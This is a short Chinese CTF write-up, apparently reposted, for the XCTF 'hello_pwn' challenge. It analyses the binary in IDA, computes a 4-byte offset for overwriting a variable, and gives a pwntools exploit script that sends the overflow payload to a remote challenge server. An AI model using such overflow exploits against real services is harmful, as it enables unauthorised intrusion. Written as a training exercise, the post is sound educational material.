作者:ecrbw_9870105634 | 来源:互联网 | 2024-11-05 18:59
本文由编程笔记#小编为大家整理,主要介绍了xctf-pwn hello_pwn相关的知识,希望对你有一定的参考价值。 走流程,看看文件类型64位,开了个NX直接丢IDA分析查看sub_400686()
本文由编程笔记#小编为大家整理,主要介绍了xctf-pwn hello_pwn相关的知识,希望对你有一定的参考价值。
走流程,看看文件类型

64位,开了个NX
直接丢IDA分析

查看sub_400686()

是个给flag的函数,可以看到,只要满足if语句的条件使dword_60106C == 1853186401就可以得到flag。
计算偏移量

0x6C-0x68=0x4所以偏移量是4,简单的覆盖变量接下来就直接写exp了
exp:
from pwn import*
p = remote(‘111.198.29.45‘,32077)
payload=‘a‘*4+p64(0x6E756161) //1853186401转成了16进制(不转也行)
p.recvuntil("lets get helloworld for bof
")
p.sendline(payload)
p.interactive()
